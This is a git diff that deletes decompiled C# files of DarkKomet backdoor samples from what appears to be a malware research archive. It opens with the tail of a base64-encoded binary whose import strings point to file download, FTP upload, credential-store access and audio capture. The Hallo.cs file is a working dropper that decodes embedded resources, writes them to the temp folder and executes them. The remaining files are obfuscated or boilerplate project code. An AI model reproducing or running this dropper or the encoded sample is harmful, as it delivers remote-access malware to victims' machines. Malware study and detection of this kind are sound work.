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FkZHJlc3MAAFZpcnR1YWxQcm90ZWN0AABWaXJ0dWFsQWxsb2MAAFZpcnR1YWxGcmVlAAAARXhpdFByb2Nlc3MAAABMc2FDbG9zZQAAY2FwR2V0RHJpdmVyRGVzY3JpcHRpb25BAABJbWFnZUxpc3RfQWRkAAAAU2F2ZURDAABHZGlwRnJlZQAAYWNtU3RyZWFtU2l6ZQAAAE5ldGJpb3MAAABOdFVubWFwVmlld09mU2VjdGlvbgAATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAABJc0VxdWFsR1VJRAAAAFZhcmlhbnRDb3B5AAAAUFN0b3JlQ3JlYXRlSW5zdGFuY2UAAFJhc0VudW1FbnRyaWVzQQAAAFNoZWxsRXhlY3V0ZUEAAABTSEdldEZvbGRlclBhdGhBAABJbmV0SXNPZmZsaW5lAAAAVVJMRG93bmxvYWRUb0ZpbGVBAABHZXREQwAAAFZlclF1ZXJ5VmFsdWVBAABGdHBQdXRGaWxlQQAAAHdhdmVJbk9wZW4AAFdTQUlvY3RsAABzZW5kAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Hallo.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Hallo.cs deleted file mode 100644 index a3716e47..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/Hallo.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Hallo -// Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null -// MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Collections; -using System.Diagnostics; -using System.Globalization; -using System.IO; -using System.Reflection; -using System.Resources; - -[StandardModule] -internal sealed class Hallo -{ - [STAThread] - public static void Main() - { - ResourceManager resourceManager = new ResourceManager("D54D561D", Assembly.GetExecutingAssembly()); - object resourceSet = (object) resourceManager.GetResourceSet(CultureInfo.CurrentCulture, true, true); - try - { - foreach (object obj in (IEnumerable) resourceSet) - { - DictionaryEntry dictionaryEntry1; - DictionaryEntry dictionaryEntry2 = obj != null ? (DictionaryEntry) obj : dictionaryEntry1; - int offset = 0; - byte[] array = Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject(Conversions.ToString(dictionaryEntry2.Key)))); - FileStream fileStream = new FileStream(Conversions.ToString(Operators.ConcatenateObject((object) Path.GetTempPath(), dictionaryEntry2.Key)), FileMode.Create); - int length = array.Length; - fileStream.Write(array, offset, length); - fileStream.Close(); - NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] - { - Operators.ConcatenateObject((object) Path.GetTempPath(), dictionaryEntry2.Key) - }, (string[]) null, (Type[]) null, (bool[]) null, true); - } - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - (enumerator as IDisposable).Dispose(); - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyApplication.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyApplication.cs deleted file mode 100644 index 76783594..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null -// MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyComputer.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyComputer.cs deleted file mode 100644 index 4c2bbeb3..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null -// MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyProject.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyProject.cs deleted file mode 100644 index eb043672..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null -// MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/AssemblyInfo.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/AssemblyInfo.cs deleted file mode 100644 index 8c553b9d..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("10-June")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyTrademark("")] -[assembly: Guid("f1dbb7b3-5c9b-4ea1-8639-50f9fe1e523f")] -[assembly: ComVisible(false)] -[assembly: AssemblyProduct("10-June")] -[assembly: AssemblyCopyright("Copyright © 2011")] -[assembly: SuppressIldasm] -[assembly: AssemblyCompany("")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/Backdoor.Win32.DarkKomet.flmi.csproj b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/Backdoor.Win32.DarkKomet.flmi.csproj deleted file mode 100644 index e6bdd44b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/Backdoor.Win32.DarkKomet.flmi.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5} - WinExe - 10-June - 1.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/Backdoor.Win32.DarkKomet.flmi.sln b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/Backdoor.Win32.DarkKomet.flmi.sln deleted file mode 100644 index 4a188fee..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/Backdoor.Win32.DarkKomet.flmi.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "10-June", "Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.csproj", "{429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}.Debug|Any CPU.Build.0 = Debug|Any CPU - {429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}.Release|Any CPU.ActiveCfg = Release|Any CPU - {429ED5B3-AF58-4102-BC11-7AAAF6B2D3E5}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0002.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0002.cs deleted file mode 100644 index dd14f3a2..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0002.cs +++ /dev/null @@ -1,45 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -[EditorBrowsable(EditorBrowsableState.Never)] -[GeneratedCode("MyTemplate", "8.0.0.0")] -internal sealed class \u0002 : WindowsFormsApplicationBase -{ - [DebuggerStepThrough] - public \u0002() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - [DebuggerHidden] - internal static void \u0002(string[] _param0) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0005.\u0002().Run(_param0); - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0005.\u0002().\u0002(); -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0003.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0003.cs deleted file mode 100644 index 7a6f6f4b..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0003.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -[GeneratedCode("MyTemplate", "8.0.0.0")] -[EditorBrowsable(EditorBrowsableState.Never)] -internal sealed class \u0003 : Computer -{ - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0003() - { - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0005.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0005.cs deleted file mode 100644 index 5cd8afdb..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3/_0005.cs +++ /dev/null @@ -1,195 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: 10-June, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 2713F504-3EB6-448B-931C-99CD142737FF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.flmi-c6a635f08367ebc14e97e098c251f12ec8876284411ed7ac0b77e79a540debb3.exe - -using _10_June; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -[StandardModule] -[HideModuleName] -[GeneratedCode("MyTemplate", "8.0.0.0")] -internal sealed class \u0005 -{ - private static readonly \u0005.\u0005<\u0003> \u0002 = new \u0005.\u0005<\u0003>(); - private static readonly \u0005.\u0005<\u0002> \u0003 = new \u0005.\u0005<\u0002>(); - private static readonly \u0005.\u0005 \u0005 = new \u0005.\u0005(); - private static \u0005.\u0005<\u0005.\u0002> \u0008 = new \u0005.\u0005<\u0005.\u0002>(); - private static readonly \u0005.\u0005<\u0005.\u0003> \u0006 = new \u0005.\u0005<\u0005.\u0003>(); - - [DebuggerNonUserCode] - static \u0005() - { - } - - [DebuggerHidden] - internal static \u0003 \u0002() => \u0005.\u0002.\u0002(); - - [DebuggerHidden] - internal static \u0002 \u0002() => \u0005.\u0003.\u0002(); - - [DebuggerHidden] - internal static User \u0002() => \u0005.\u0005.\u0002(); - - [DebuggerHidden] - internal static \u0005.\u0002 \u0002() => \u0005.\u0008.\u0002(); - - [DebuggerHidden] - internal static \u0005.\u0003 \u0002() => \u0005.\u0006.\u0002(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class \u0002 - { - public Form1 \u0002; - [ThreadStatic] - private static Hashtable \u0003; - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0002() - { - } - - [DebuggerNonUserCode] - public Form1 \u0002() - { - this.\u0002 = \u0005.\u0002.\u0002(this.\u0002); - return this.\u0002; - } - - [DebuggerNonUserCode] - public void \u0002(Form1 _param1) - { - if (_param1 == this.\u0002) - return; - if (_param1 != null) - throw new ArgumentException(\u000E.\u0002(759805957)); - this.\u0003(ref this.\u0002); - } - - [DebuggerHidden] - private static T \u0002(T _param0) where T : Form, new() - { - if ((object) _param0 != null && !_param0.IsDisposed) - return _param0; - if (\u0005.\u0002.\u0003 != null) - { - if (\u0005.\u0002.\u0003.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString(\u000E.\u0002(759805999))); - } - else - \u0005.\u0002.\u0003 = new Hashtable(); - \u0005.\u0002.\u0003.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString(\u000E.\u0002(759806032), ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0005.\u0002.\u0003.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void \u0003(ref T _param1) where T : Form - { - _param1.Dispose(); - _param1 = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object _param1) => base.Equals(RuntimeHelpers.GetObjectValue(_param1)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0002() => typeof (\u0005.\u0002); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - 